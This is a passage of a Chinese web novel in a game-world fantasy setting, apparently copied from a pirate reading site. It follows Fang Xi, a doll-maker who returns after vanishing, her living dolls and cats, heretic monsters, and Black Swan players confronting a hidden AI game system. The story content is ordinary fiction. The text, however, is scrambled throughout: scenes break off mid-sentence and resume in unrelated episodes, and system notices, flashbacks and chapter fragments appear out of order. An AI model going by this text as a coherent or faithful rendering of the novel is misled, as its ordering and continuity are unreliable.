在方羲消失的九百五十五个日夜里，有二十五只大异端死于金色猫猫的爪下，三十只异端死于艾莉克萨冷酷的屠杀，二十一只大异端死于手提包的袭击，还有十七只大异端死于南瓜马车女士的“快让让，别挡路，不然我只好撞飞你”。 另，还有七只大异端死于五猫军团的合力捕捉。 哦对了，据不知名小编统计。在这段时间，异端的饱食率大大降低——无论它们把食物叼到天涯海角，总是能飞来一群讨厌的小鸟，直接把它们好不容易找的食物抢走！ 问题是，这群臭鸟抢食物还不是为了吃，只是单纯把他们放回人类大陆！这合理吗！ 偏偏异端们又不敢上手抢回来，也不敢去打这些小鸟——曾经有一只天真愚蠢的大老鼠，因为食物被救走了，一气之下，杀死了飞在最末尾的7只大白鸦、2只老鹰、与4只北长尾山雀。 但一个星期后，有一只叽叽喳喳学人说话的彩色鹦鹉闯了进来。 方羲的腹部瞬间受到不明橘色生物的重击！ “喵喵喵喵！！！” 猫猫大声嗷叫，相当委屈地看着方羲，爪子疯狂扒拉她的衣服！ 下一秒，又一个不明蓝色生物扑到了方羲身上，同样委屈地大叫：“主人！你怎么这么晚才回来！等你好久了！” 角落的的一双红色眸子，也幽幽地盯着方羲，沉默不语。 正在外面小花园哼着歌，拿着喷壶浇水的春醒，敏锐察觉到小木屋里的动静和气息——看来是主人上线了。 走进去，春醒立刻看见虚弱的主人被一个大捣蛋鬼和一个小捣蛋鬼缠着，几乎不堪重负，整个世界都被喵喵叫和少女的嚷嚷声来回环绕播放。 春醒：“……╰（‵□′）╯” 两株藤蔓瞬间出击！拎起两只捣蛋鬼！ 春醒生气地说：“你们干嘛呢！不许乱叫！不许乱吵！主人的病还没好呢！！！” 夏青禾一愣，乖巧地坐下，目光炯炯地盯着方羲，仿佛看在一只珍稀的大熊猫：“呜呜，我一时间太激动了！主人，你看晨乌也是！哦，对了，还有小黑和小玳瑁也是！它们天天抱怨你不在家！” 方羲低头一看，发现还有两团毛茸茸缠在她的腿边。 将近两个月没见，小黑猫和小玳瑁已经长大成六个月的可爱猫猫。 不过，当两只猫猫听见夏青禾的告状，瞬间愣了一下，然后默契地蹦上沙发。 夏青禾和两只猫猫开始打架！ 方羲左看右看，迷茫震惊了一瞬，没想到小木屋忽然从只有她和晨乌猫猫，发展成这么一个吵闹的大家庭。 屋子里有三只人偶，两只猫猫傀儡。屋外有已经回来了一百只大白鸦，还有驻守森林的鬼魂。 方羲环视了一圈四周，走到艾莉克萨面前，抬手轻轻触碰了她的黑山羊之角。 黑羊少女安静地看着这名造物主。 她成功接纳了【恶魔】的权柄，吞食了更多、更强大的力量，动作也不像以前那样缓慢，只是出于天性使然，艾莉克萨仍然不太爱活动。 “好像没有受伤。” “没有。” “待在小木屋会不会太闷了。” “吵。” 方羲瞬间赞同地点了点头，简直深有同感。 然后，一只社恐的人类和一只沉默的人偶面对面，没了下文。 方羲回到沙发边上，懒懒散散地靠着，把晨乌猫猫抱在怀里安抚，顺毛。 “咦？居然不掉毛了？”方羲惊奇地说。 “喵！” 春醒说：“大懒鬼，那是因为我给小猫刷了毛。” 方羲心虚地摸了摸猫猫的肚子，假装自己什么也没听到。 春醒提醒道：“你的皮箱本来在那些人类手里，不过青禾昨天去帮你偷回来了。喏，放在你的工作室里。” 什么？偷？ 方羲想了想说：“我知道了，等一下再去整理。” 先提现一些金币！她还没吃饭呢，还得补交那些乱七八糟的房租和水电费！ 打开游戏面板。 “滴答滴答——” 方羲下意识闭了闭眼，这、这系统消息怎么这么多？ 【您的个人信息已发生重大更新！】 【失乐园已发放一封重要通知！请尽快查看！】 【您的黑天鹅账号未读消息较多！建议您尽快查看！】 【我是失乐园初代0000号游戏系统，目前也是玩家“非专业收藏家”的专属系统，你们也可以称呼我为欧律狄刻。】 【我现在回答你们刚才的疑问。】 【我不服务于‘帝国’，你们无权销毁我的存在。】 【保护每一名先行者——这才是我的底层运行逻辑。】 这次，换到密匙玩家们沉默了。 良久，楚嘉薇说：“请问，您能确定收藏家现在的生命安危吗？” 【尚不可知。】 【但先行者的生命，从来不会这样轻易覆灭。】 欧律狄刻冷漠地丢下两句话，就离开了。 这下，密匙玩家应该不会再执着于所谓的‘救援’。 “但、但我还是难以接受……”林镜子声音难得尖利地说，“收藏家已经消失一个月了，早就过了救援的黄金期了！为什么这个专属系统还是不愿意辅助我们？万一……呜呜呜……” 林镜子的情绪也濒临崩溃。 因为，她认为自己没有完美承担好造梦家的职责，居然让收藏家的生命值沦为零点。 连一向负责调解团队气氛的宋白玉，此时沉默地别过脸，没出声。 楚嘉薇将目光慢慢落在秦淮月身上，轻声问：“秦队，你觉得呢？” 秦淮月默了半响，扯出一抹很淡的微笑：“她相当喜欢剑走偏锋。” ……世界下起了造梦的‘暴雨’。 冰冷的雨水浇灌在人偶师身体的每一处。 白龙的长须，好奇地戳了戳飘荡在高空的樱色花瓣。 指腹有些发麻，光箭似乎在无意识吸食使用者的血液，用来孕育更强大的力量。 放箭。屠夫端庄地坐在一圈环形书架最中央，高贵冷艳地翻阅着新上市的人类书籍。 一本长着黑色小翅膀的木头书忽然飞到它旁边。 这是它的得力干将一号，尽职尽责，从不抱怨，忠诚的996打工细胞。 一号专门干一切脏活累活，包括但不限于外出巡查、监督考场和殴打不服管教的异端细胞。 至于二号则是一本头顶光圈的魔法书，更擅长整理资料和出谋划策，随时随地陪伴在屠夫身边。 “开始今日的汇报。”屠夫微微点头。 木头书说：“今天前来投奔的异端细胞一共有6439个，比昨天多了3000个。” 屠夫一愣，什么情况？ 魔法书哗哗哗地翻页：“屠夫大人，三百三十三层似乎遭遇了橘色毛茸茸的入侵！很多细胞怀疑浅层外壳的大异端防不住它，所以集体迁徙，想要入户咱们图书馆！” 屠夫眉头一皱：“去取新闻杂志给我。” 木头书从旁边专门放置时事新闻杂志的书架，取下最新的一本，长出白色双手，呈送给屠夫。 屠夫翻开最新的追捕名单，如愿看到上面的一只橘色毛茸茸，位列食物排名第三。 “哦，这是那谁谁的造物吗？”屠夫理清原委之后，脸上甚至露出一丝轻蔑，“也不过如此。” 屠夫和普普通通没有靠山的大异端不一样，它隶属于恶魔名下，还是一只中层外壳的强大异端，又刚好位于六百六十六层。 骄傲自大的守卫之一。 木头书附和道：“就是就是！这群人类这次胆子居然这么大！” 魔法书理性分析：“屠夫大人，请看杂志的第九十八页。那个被人类称作【收藏家】的傀儡师，似乎带领着好几个强壮的蚂蚁进犯恶魔的领域！” “我知道。”屠夫对收藏家兴趣寥寥，翻书阅读下一页，语气相当冷静地说，“我很早就听说了，恶魔给她递送了一份邀请函——哈，现在正等着这只人类自投罗网呢。” 大异端之间，看待方羲的眼神也各不相同。 有的只是轻慢、看不起。 有的出于好奇，向她投下亘古的一瞥。 有的却是畏惧，惊慌失措，本能地逃窜。 屠夫的大脑发育全部点在了“智商”上，缺少了情感的一环。它感受不到什么叫做畏惧，也不打算做些什么未雨绸缪。 但看在恶魔想要杀死她的份上，屠夫决定，等亲眼见到这只人类，它一定会好好招待她。 不过，它不觉得方羲能够走到第六百六十六层，这个层数对于人类来说，可谓是天方夜谭。 木头书问：“屠夫大人！那些新细胞该怎么处理？” 屠夫挥挥手：“和以前一样，让它们考个试，测试一下智商，不及格的就别想加入我的图书馆！另外……魔法书，有没有什么值得豢养的潜力股？” 魔法书哗哗哗翻页，飞到屠夫面前，书页呈现出实时监控一般的画面。 “屠夫大人！这只黑羊绝对是一个潜力股！” 身着修女服的黑羊少女，四周自动空出了一大块地盘，附近的异端全身上下都写着惊恐，连挥舞着触须的大章鱼也乖巧地缩成一团。 她动作缓慢地踏上通往世界树的电缆车。按理来说，为了节约成本，每一节缆车都应该坐满了异端细胞。 但没有细胞敢和这只可怕的黑羊同行，所以艾莉克萨被动地乘坐一节专属她的缆车。 屠夫打量了几眼，脸上罕见地露出一丝欣赏之意，点点头：“嗯，的确不错，看上去很有威慑力。” “她不仅天生长得很像人类，还战斗力一流！刚刚进入到我们地盘的世界，直接杀死了1025个没有大脑故意挑衅的细胞！” 魔法书又一次哗哗哗翻页，露出黑羊少女手握巨型镰刀的画面，她站在一堆尸骨至上，苍白的脸庞沾着血，眼眸轻飘飘地垂下。 屠夫大喜过望，它很多年没有见到这么擅长战斗的异端了！ “不过，她肯定在人类大脑方面发育不全，我完全没有听见过她说话！而且看上去呆头呆脑的，移动速度很缓慢！屠夫大人，不如我们把她豢养成一块忠诚的【盾】吧？” 屠夫大手一挥：“很好！但还是让她和其他细胞一样参加考试吧，形式上走个流程。木头书，去准备开考。” 它倒是想看看，这只黑羊的潜力能有多大。 “遵命！” 木头书兴高采烈地扑腾地小翅膀，它最喜欢细胞们自相残杀的场面了，这是它努力工作的动力来源！ 天空之下的人类，愣愣地瞪大眼睛，看见阴云中那一只壮丽的白龙，挥舞身躯，一甩龙尾，将方圆百里坠落的尸体，一瞬间杀了个粉碎。 也看见，一个微渺的身影，放出世界上最耀眼的光辉，穿透恶魔永恒不息的心脏。 但很少有人的灵感，能够让他们看见，恶魔的黑山羊之角，缓缓向下坠落。 忠诚的‘守卫’，不会思考的‘细胞’，被禁锢的‘根系’，无一例外，抛却了被命令的厮杀，纷纷上前，企图分一杯羹。 啃食黑山羊之角，说不定就能更强壮半分。 神明与蚂蚁其实并无区别。 艾莉克萨站在白龙之上，盯着空中坠落的、被异端们黑压压覆盖的山羊角，想了想，缓慢地举起镰刀，轻轻一挥。 惨叫声瞬间响彻整个世界，穿透暴雨和雷鸣。 ‘恶魔的权柄’被艾莉克萨顺利接住了。 而属于“艾莉克萨”的傀儡详情，在这一瞬被上千个血掌印涂抹、覆盖，正常的文字彻底扭曲、模糊，消失在科技智能的浩瀚编码中。 方羲缓缓合上眼睛，彻底没了力气，甚至抓不住白龙的鳞，身体碎裂成一片星辰微末，没有支撑地向下坠落。 好像有什么人在叫她。 但这次实在睁不开眼睛了。 白龙肃穆的脸，罕见露出一丝无措，它想要继续接住方羲，却发现自己抓不住散向四方的星辰。 踏樱冷漠地看了一眼四周惊慌不定、被异端尸体砸中的普通玩家，却无犹豫地转身，私自离开这片救援区。 “等等，踏樱，你去哪？！” 背后传来一声惊呼。 谁在乎这群废物。 浓雾和暴雨，很快遮盖了踏樱的身影。 少女打开洋伞，轻轻一跃，踩踏薄樱，轻而易举跃至半空，心脏几乎在恐惧地跳动，大脑思绪有些放空。 ……要是那是一具尸体怎么办。 【你是说？】 【——没错，先杀死人偶！】 【这才是我们真正必须做的事，而不是想尽办法捕捉人类！】 【利用这些受骗而来的人质——杀死人偶！】 【只要杀光收藏家留下的造物，我们所有的一切，都会重回正轨！】 国王露出了一个满意的微笑。 大矮人也露出了一个恭敬的微笑。 所有穷极的异端，在原地思考了半响，也缓缓挥舞起自己的尾巴、触手、舌头，发出同意的嘶鸣声。 那飘荡在半空中的，血淋淋的会议标题大字，忽然发生了微妙的变化。 长出了更多的笔画。 扭曲，变形，重组。 【你们是有限的】 【你们只剩下小小的六百个】 【你们失去了最核心的人偶师】 【你们的躯体、意志、灵魂，再也得不到救赎】 【你们终有一死】 【——而我们，是无穷的！】 第 190 章 第 190 章 啄木鸟最近很忙碌。 作为方羲手下，唯一懂得正确治疗方法的医生，最近可谓是忙得不可开交，二十四小时连轴转！ 比如总是死得很快的夏青禾分身。 比如山羊角伤痕累累的艾莉克萨。 又比如怎么吃也吃不饱，瘦成皮包骨的橘色猫猫。 造梦家程蔓野双手颤抖地给夏青禾的一个分身包扎好伤口，喃喃道：“敌人太多了，这样下去根本不行……” “咿——” 又一只大白鸦被瞄准，射落。 往日在阳光之下，总是泛着虹彩光芒的羽毛，在这一刻彻底失去了生命力。 所有首席玩家，几乎是面色惨烈地看着……大白鸦坠落的瞬间。 如果等收藏家回来，他们该怎么和她交代这一切？ 在踏入异端核心的那一刻，他们就被传送到一个巨大的环形斗兽场，围墙绕了一圈又一圈，根本没有出口。 观众高高在上。 一切战斗规则都被精心设计，硬生生卡在人类不会被折磨致死的程度，每个人都拥有休息的间隙。 但唯独人偶不会。 各位玩家，《异端的失乐园》于星历2515年9月20日14时08分发生重大故障，已即时强制60%的新晋玩家下线。其余停留在游戏中无法下线的新晋玩家，将逐一送往帝国中央区域，接受全方位的精神治疗。 针对本次运行故障，《异端的失乐园》将进行一次彻底的更新与修复，新晋期的真实试炼也将延后举行。 帝国中央主脑，在此由衷感谢每一位的玩家为全人类命运的奉献。】 这封系统生成的更新通知，已经是足足一个月前的事情。但直到今天，关于失乐园百年一见的全面更新，在帝国各大网络论坛的热度仍然居高不下。 哪怕帝国官方特地封锁了再多消息，也阻挡不了玩家们的私下议论，尤其是已经挤入新晋前一万，拥有资格参加真实试炼的利益相关者。 “失乐园也没说具体什么时候开放游戏啊。” “那天究竟发生了啥？有没有人来个现身说法？” “有点眼力见吧……这东西就算是私下讨论也很危险，小心封号。哎，不过话说回来，我这段时间待在疗养院没游戏玩，简直无聊死了！” “听说真实级以上的玩家好像可以正常登录游戏，新晋前一百名也可以。” 略过普通玩家众说纷纭、甚至称得上有些娱乐性的猜测，反观黑天鹅这边，却是一片难以言喻的沉重感。 他们的确胜利了一次。 战胜了智商极高、喜欢戏耍人类的‘恶魔’。 甚至于，所有真实异端，仿佛进入了冬眠的静默期，全部躲在未知的深处消失不见。哪怕有密匙玩家想要例行刷个低危副本，居然也找不到异端的丝毫踪迹。 就好像，集体逃荒失踪了一样。 但是，收藏家也同样消失了足足一个月。 连她创造的傀儡也完全不见人影，全部像是人间蒸发一样。 为了收藏家，密匙玩家们在一个月之内，曾多次开展会议，怕的就是收藏家本人因为这次副本，已经在现实中身陨。 可哪怕这群立场、观念不同的密匙玩家，难得默契一致，认为不惜一切代价也要救援消失的收藏家，确定她的安危——黑天鹅也无法追踪到方羲现实中的丝毫踪迹。 按照常规，可以根据玩家加入黑天鹅时给出的四项信息，专属系统二十四小时运作所记录的语音，还有造梦家亲自在现实中寻找玩家灵魂的踪迹。 一百年以来，黑天鹅大多是依赖这么几个手段，来救援现实中遇到危险的玩家。 但对于收藏家，他们却毫无所获。 一丝一毫的线索也没有。方羲无语地闭了闭眼，把输液袋丢给猫猫玩了一会。 猫猫配合地把两个输液袋踩了几脚，然后把它们推回给方羲。 经过橘色人偶威慑揉捏的输液袋，终于变成了健康又万能的输液袋，可以根据人类身体不同程度的表层创伤，输送适量的生命值。 方羲把输液袋悬挂在旁边，然后给自己扎针，顺手把另一个效果更好的输液袋外加支管丢给秦淮月。 “净化值100的【修复大脑意志力的万能输液袋】。”方羲说，“你可以留着以后有需要的时候再用。” 秦淮月微愣，道谢一声，低头打量手中的异端残肢。 方羲瞅了一眼秦淮月，对方依然神色沉静，连坐姿也相当标准挺拔，视线在她和四周异端之间来回切换。 这是猎人的习惯。哪怕只感受到一丁点异端的气息，他们也不会放松警惕。 秦淮月忽然轻叹道：“收藏家，你收回造梦场的力量之后，我的视野恢复以前的样子了。” 变回了正常人的视野，看不见异端的触须。 收藏家的灵感视野远比她合作过的傀儡师江同尘，要高得多。 她甚至在视野恢复正常的时候，懦弱地庆幸了一瞬。 方羲故作高深地说：“你看上去有很多事情想问。” “的确如此，但既然是你的秘密。”秦淮月一时间有些哭笑不得，她已经洞悉了收藏家跳脱调皮的本性。 她顿了顿，忽然认真地说：“如果你在现实世界中，遇见任何一点不正常的危险征兆，请及时向黑天鹅……或者告诉我吧。” 但这名先行者并未回应她的话，只是微微点头，带着一如既往的漫不经心。 方羲打了哈欠，看了眼输液袋还剩下多少液体：“再等我十五分钟，然后我们继续出发。” 她忍不住揉了一把猫猫……然后又又抓出一把猫毛。 【晨乌的幸运猫毛】 “喵呜！” 聪明的猫猫灵机一动，故意叫得有些委委屈屈，仿佛在控诉主人。 经过无数次全区域屏幕的红色权限封锁，黑天鹅才终于意识到——最大阻碍居然是收藏家的专属系统，既非寻常的二到十三号，也不是鲜少运行的最高权限的一号系统，而是一个他们从不所知的存在。 就像现在，楚嘉薇、孟逢霜、符瑶和江同尘四人，正带着此前跟随收藏家踏入恶魔领域的二十名首席玩家，与欧律狄刻对峙。 这段时间，欧律狄刻疯狂忙碌着修复失乐园损坏的数据区块，并不打算理会这些冒犯权限的玩家。 但因为申请访问的次数实在太多了，如果不解决的话，以方羲迟钝心大的性格，之后再和他们交流，恐怕会造成吃亏的局面。 欧律狄刻想了想，给自己解锁了一个记忆人格区块，然后在黑天鹅第10643次尝试入侵她的数据库之时，决定出来与他们交流一下。 “咦？这次好像没有故障！” “真的？有新进展了？是不是要成功了？！” “话说得别太满……等等，这是什么？救命！又黑屏了！” 无数数据工发出绝望的哀嚎。 楚嘉薇忽然发现面前的蓝色屏幕，出现了一段没有见过的权限代码，心脏忽然漏了一拍。 她挥了挥手，在众人奇怪的目光下，让擅长数据的玩家离开，转而把二位好友、江同尘和二十名首席玩家临时叫过来。 “楚长官？怎么了？” 所有黑掉的屏幕，倏忽亮了一瞬。 一个冰冷陌生的机械女声，在宽阔的数据室中响起。 【你们已第10634次企图访问“收藏家”的个人信息隐私，并且多次非法入侵我的数据库。】 欧律狄刻虽然是以陈述句的形式说话，但实际上也是变相的警告。 全场静默了一瞬。 所有人——哪怕是喜怒不形于色的三位管理者，脸上也露出几分难以掩盖的错愕。 这是什么？ 失乐园什么时候存在着这么一个，他们从来不知道的系统？ 楚嘉薇喃喃道：“原来之前的锚点通报，是由你进行的。” 【请勿再进行任何相似的危险行为，我无法同意你们的请求。】 姜渺皱了皱眉头。在此之前，她也一直是反对追踪收藏家现实信息的态度，但这次的确涉及了现实安危，哪怕是她也默认了黑天鹅的救援行为。 如果这个系统的确站在人类的立场，不可能不懂得这一点。 孟逢霜冷声说：“你已违反人类帝国中央系统的底层服务逻辑。每一个人工智脑，都以人类利益为上。如果你继续拒绝访问请求，我们有权向中央主脑要求销毁你的存在。” 数据室一时有些寂静。 等了很久，就在密匙玩家们几乎以为000号系统已经消失的时候，四周的蓝色屏幕终于又跃动了一瞬。 【各位玩家，既然是初次见面，我想我的确需要向你们进行正式的自我介绍。】 我不应该把那条有着你灵魂的吊坠，就那样残忍地丢了出去。 只有我……只有我丢了你赠送的信物。 你会因此生气吗？ 我想一定会吧，因为你一定会再次回来的，因为你曾经亲口说过无论你消失了多久，最后总是会回来的。 其实我本来也不相信你还活着，但我想既然已经无人愿意相信你会回来，那就换我继续相信吧，不然你在挣扎回来的路上，没人记挂的话，就会太孤独了一点。 即使我知道我和你再也没有见面的机会，或许死后的梦境里会有吧。唉，早知道这样，上次就应该多和你说些话。 算了。 还是开枪吧。 我这么想着。 让枪声盖过人偶离开的声音。 让你那纯粹又强大的造物，永远举世瞩目下去。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 190-200 第 191 章 第 191 章 人偶跑了。 打了个盹醒来，对这件事后知后觉的大异端们，自然勃然大怒。 尖叫声穿透耳膜。 他们能在极怒的异端手下，撑过几分钟呢？ 宋白玉恍惚地想着。 狼嚎声穿过天际。 再之后的，就是血肉顷刻间被撕裂的声音。 失去了人偶站在最前方的庇护，最先抗伤的自然是陈据雪手中的傀儡。 五分钟。 将近三分之一的猎人倒下。 唯有群体治疗能力最强大的造梦家踏樱，在拼命拉住那些猎人最后一口呼吸。 十分钟。 所有人倒下。经过不久前的生死危机，宋白玉简直巴不得方羲一天中有二十四个小时在休息。 大概是顾及到方羲在休息的缘故，宋白玉帮春醒收拾东西的时候，动作和脚步也不由自主放轻很多。 春醒看了看这只胖钱包，安慰道：“不用这么小心，放心吧，主人是个大懒鬼，你根本吵不醒她的。” 而夏青禾依然坐在旁边，拆开一包香辣味的薯片，翻开一本漫画，继续咔嚓咔嚓吃薯片。 猫猫一开始在方羲腿边蜷缩，过了会跑到她肚子上待了一会，然后又走到方羲枕头边踩来踩去。 宋白玉：“……(゜ロ゜) ” 一边帮忙，宋白玉忍不住瞅了几眼艾莉克萨，她身上的邪恶气息……似乎比以前更浓郁了。 艾莉克萨注意到宋白玉的视线。 艾莉克萨冷漠地看了他一眼。 艾莉克萨移开了视线，不想理会。 宋白玉：“……QAQ” 时间过去了两小时，宋白玉想了想，放下工具，去洗了个手，然后才回到某个在脸上盖着一本小说睡觉的咸鱼旁边，轻声叫了几声。 毫无反应。宋白玉诚恳地说：“因为在一个高危副本里发生了一点意外。但具体的细节，出于尊重，我可能无法告知实情。” “……不。”方羲的语气相当笃定，“你就是死了。” 咦？翻出一块樱花玛瑙。这个可以不卖，留着。 “创造你——或者说，创造‘宋白玉’的人很厉害，只手遮天到虚构一个密匙玩家贯穿二十三年的人生履历。但这个人大概技术水平不太好。也可能是……啊，找到了。” 也可能是，觉得“更新”没必要。 方羲取出一块血红色的琉璃，认真端详了一会，然后才转过头说：“你在这里待一会吧，我给你做一个固定灵魂的护身符。之前在副本里的时候没来得及说，你的灵魂状态不太正常。” 和踏樱、秦淮月深受异端污染的情况不太一样。 宋白玉好一会没过神，他感觉自己根本无法理解收藏家说的话，有些茫然地抬起手，重新打开游戏面板，又拖延了十分钟。 “我……只是一个猎人，如果暂时用得上，那就继续耗着。但如果没用了，死了也无所谓。”他说。 “原来如此，就像是程序底层设定一样吗？”方羲说，“我之前就觉得，你很【稳定】。” 她顿了顿，看向宋白玉。 猎人脸上带着一如既往、相当开朗的笑。 “护身符。” “你要还是不要？” “选择要的话，你会失去程序的底层代码。如果你自己心态转换不过来，大概率也是变相的死亡。”方羲说，“不要的话，那就永远保持现状。” 宋白玉摩挲着玻璃杯的纹路，恍惚间想起造梦家们的灵感提升，秦队又一次的突破极限。 还有，先行者在暴雨之下，放出的一束光辉。 再下一次，他就没有这么多幸运和巧合可以挥霍了。 宋白玉抬起灰色的眼睛，倒映出方羲漫不经心的脸庞——这种极有可能触及帝国灰色产业的行为，对她来说，似乎只是看见濒死者，顺手给出的援助。 “好。” 猎人含着笑，似乎没过多的犹豫，相当干脆利落地落下决定。 春醒忽然伸过去一束头发，拉了拉方羲的袖子，幽幽地看着她。 “！” 方羲一惊，猛地想起账户上只剩下几千块的余额，忽然话锋一转：“等等！材料费一万，人工费……呃，五万！” 宋白玉试探性提高了一下音量。 又又毫无反应。 夏青禾幸灾乐祸道：“我可不能帮你，我怕主人凶我。” 猫猫也附和般地喵喵叫了几声。 宋白玉：“？？？” 他也不太好意思像对待队友、甚至是普通玩家那样，直接暴力叫醒。 “想要暴打异端吗？想要看一看异端究竟长什么样吗？想要亲自创造替行者吗？想要以蚂蚁之躯，向神明发出不知天高地厚的挑战吗？” “那就来失乐园吧！这是我们亲手画地为牢的领域！关押着我们亲手捕捉的、数不清的异端！这些蒙蔽太阳与月亮，污染人类科技结晶，霸占星球家园的怪物，即使是你们——我们，都能杀死！” “反正是游戏，又不会死，试一试又何妨呢？现在注册账号，即可获得豪华版新手大礼包！仅限前一千个新玩家哦，先到先得！” 全息游戏发布之后，这一千号人，全部蹲守在后台，盯着光脑屏幕，满脸期待。 六小时后。 浏览量：1003 注册量：0方羲回到了个人空间，想了想，顺手改成正常的在线状态……她忽然想起昨天宋白玉和八千棋局的闲聊。 好像连前百名的新晋玩家，最近一段时间也异常忙碌。 方羲的手微微颤抖，现在临时改回来还来得及吗？不过“白乌鸦”的身份，也没什么知名度可言，她大可以早点立一个叛逆头子的形象…… 切换黑天鹅的账号界面，白乌鸦的后台不过寥寥几条，全是【黑天鹅001】的例行询问。 大概在问她为啥一直不上线，是不是现实里遇到了什么危险，异端注视的BUFF消除了吗？ 一开始，官方客服每隔几天都会问一下，但自从恶魔投影游戏之后，就没再过问“白乌鸦”的状态。 方羲摸摸下巴，倒也正好。 逗了逗小黑猫和玳瑁猫猫，方羲把两只猫猫一起抱在怀里，重新回到小卖部里，发现的确如宋白玉承诺的那样，每一个区域都整理得相当干净，简直是可以直接开业的程度。 当然——一开始方羲待在的那片沙发区除外，桌上摆着薯片饼干的包装，喝完的可乐罐，还有猫猫掉落的短毛。 “喵喵？” 方羲放下两只猫猫，深沉地说：“这两天你们可以跟着春醒学习怎么成为一名合格的猫猫店员。” 小黑猫不感兴趣地甩甩尾巴，不过因为第一次来到新地盘，开始到处探索。 而玳瑁猫猫则躺在窗户洒落下来的阳光，眯着眼犯困。 春醒看了一眼，忽然眼睛一亮：“我觉得我们可以像其他店一样，招募【人类店员】！工资……嗯，一个月三千金币怎么样？” 方羲眉眼一跳，震撼地看向春醒，试探性问道：“为什么是一个月三千？” “你以前的工资不就是一个月三千吗？” 方羲内心受到了暴击！ “今时不同往日。”方羲循循善诱，“我们不能这么黑心，要学会细水长流！不过说的也是，猫猫只会卖萌……” 毕竟开店只是一时兴起，顺便填补一下空荡荡的钱包，方羲自然不会苛刻猫猫们。 但说要招募店员，也没那么简单。 因为方羲的小卖部定位比较特殊，售卖的残肢材料全是高净化度，至少也需要一位灵感过得去的玩家。 不过新晋一万名之内的玩家，一个月在黑天鹅赚取的补贴，自然比所谓的店员兼职高得多，而且他们都是奔着真实试炼去的，忙着各种训练，大概率也不会来做这种工作。 方羲想了想说：“你不想开店的时候关就是了。” 春醒逮住小黑猫：“不行！我们至少要把金币赚回本！小黑，我教你怎么在前台【收钱】。” “喵呜呜——” 方羲见好像没她的事，顺势坐到沙发上。 今天去找一下踏樱，然后再去采材料好了。 要采修复傀儡【重剑战士】的泥土、制作新人偶的核心材料，还有顺便去看望一下傲娇的树和小白龙。 方羲努力思考，还有什么事情来着？ 静静躺在书架最角落的《人偶师进阶指南》和《人偶师作品图录》，悲伤地面面相觑，感觉自己仿佛被遗忘到世界尽头。 方羲思考过后，觉得应该没什么事了。便拿起还放在桌上的樱花吊坠，回到个人空间，把人皮面具久违地摘掉，换上一身休闲的常服，然后打开游戏面板，给踏樱发消息。 评论数：2 评论一：“制作人是不是从精神病院跑出来的？这种东西也能上线？疯了吧？” 评论二：“已举报。” 001想了想，问123：“咱们能不能搞点营销？” 123：“呵呵，你想什么呢？我们没钱了。” 至于后来，《异端的失乐园》被认可为官方推崇的活动，注册游戏账号甚至被归为帝国公民必要的义务，就是另外的事情了。 虽然其繁荣之景的背后，并没有多少人知道，这一千号人曾经被两条路人恶评，还有这可怜的浏览量和零注册量，玻璃心受到深深的重击，吐血，灵魂出窍，倒地不起。 “啊，天这么快黑了？” 九百号的思绪，猛地被方羲的声音拉了回来，神色复杂地看着她。 方羲终于烧完了一千零一张纸，然后拿起针线，将这堆纸缝制在由远古武器胚胎做成的书封外壳里。 再提起画笔，使用深红、淡赭、泥金、浅金、灰绿、蓝黑、天青，在书封外壳中央的空洞上，开始逐一填充颜料，勾勒形状。 宇宙深处，有着另一颗“上帝之眼”。 方羲曾经跑到同桌家，当面敲诈，直接拿走它的天文望远镜，带去郊外玩。 其实，她本来只是单纯想找找低等星附近，有没有别的星球在，但试了很多次，压根什么也没看到，遂作罢。 不过偶然的一次，她却在茫茫黑暗中，窥见这团美丽的螺旋星云。 但也只看到了这么一次。 再之后，方羲以同一种观测角度寻找，却再也没找到这团星云。 就像是，昙花一现的鲜花，转瞬即逝的流星，微渺的希望，在孤零零的灵魂手中流淌而过，一丁点痕迹也没留下。 方羲打算，用星云的表象，遮盖人偶最真实的核心材料，她的左眼——毕竟，一颗眼球贴在书封上面，看起来似乎有些吓人。 书壳之下，是容纳无穷的星空。 书壳之上，是窥探邪神的眼睛。 方羲叫了一只大白鸦，让它把室外的喷壶拿过来。 大白鸦速速抓着一只喷壶过来，嘎嘎乱叫了几声，得到方羲的摸头，才满意地离去。 上帝之左眼：期待.jpg 方羲在没有丝毫融化倾向的冰块上，浇了一点热水。 上帝之左眼：缓缓打出一个问号.jpg 烫死它了！ 上帝之左眼想骂人，但下一刻，她的身体被人偶师轻轻托举起来，很温柔的力道。 好吧！不骂你了！ 让她好好康康，人偶师究竟做了什么样的身躯，来承载她这颗高贵的眼珠子——天啊！一本焦得跟黑炭一样的书！上面还有一团不知所云的云！还有这没有丝毫规则之美感的书页！ 上帝之左眼回忆了一下，人偶师的口味真是一如既往，和以前一模一样，让她难以接受。 方羲将“上帝之左眼”，轻轻安放在书壳的空洞里。 黑沉沉、像死了一样的眼球，在这一刻仿佛活了过来。 它与人偶师心有灵犀，扭了扭身体，把自己汇入螺旋星云之后。 唉……算了。 上帝之左眼看了看头顶，脸色有些疲惫的方羲，决定原谅她。 虽然你之前，空手把我挖出来，流了很多血，让我疼得半死不活，再也不能和心脏交换血液的礼物，也不能和大脑说话，让我孤独了很久很久。 但只要你还愿意想起我，我就不会生气。 该道歉的是我，是我把你赠送的信物亲手丢掉了。虽然我不知道你说的人偶是什么，但你做什么都可以，根本不用征求我的意见，把我变成怪物也无所谓。 “你愿意成为我的人偶吗？” “不说话的话，我就当你同意了？” 请救我吧。 我想活下去。 我已经迫不及待想睁开眼睛，重新和你见面，和你说话，想告诉你不在的这段时间，游戏里发生过的一切。因为我发现你其实对那些有趣的八卦很感兴趣，于是我刻意打听了很多，想着如果哪一天你重新上线的话，就拿这些当借口找你聊天。 但我现在无法动弹，也说不了话。 所以，我只能无声地乞求你。 收藏家…… 请救我吧。 让我成为你的人偶。 第 192 章 第 192 章 头疼…… 但感觉做了一个美好得根本不想醒来的梦…… “宋队！快醒醒！” 谁在叫他？ 宋白玉试图让自己的意识重回梦中，但不料发出呼喊声的那人，直接上手晃他的肩膀和脑袋！ “快醒醒！你什么时候变得这么能睡？就剩你一个人没醒了！不对，柳莺，镜子，你俩快过来看看，这货不会出什么问题了吧？！哎我真服了，再不醒咱们就只能把你扛着走了！” 宋白玉瞬间就醒了。 绪风和宋白玉面面相觑。 宋白玉大怒：“不是，我正做着美梦呢！你喊我干什么？？？” 绪风傻眼了：“什么鬼？你……你哪来起床气？你怕不是个假的吧？” 宋白玉翻了个白眼。 虽然是这么抱怨了几句，但宋白玉还是从地上爬起来……沙滩？ 他摸到了一把沙。 颗粒分明的沙粒，从指缝间悄然落下。 “这是什么地方？” 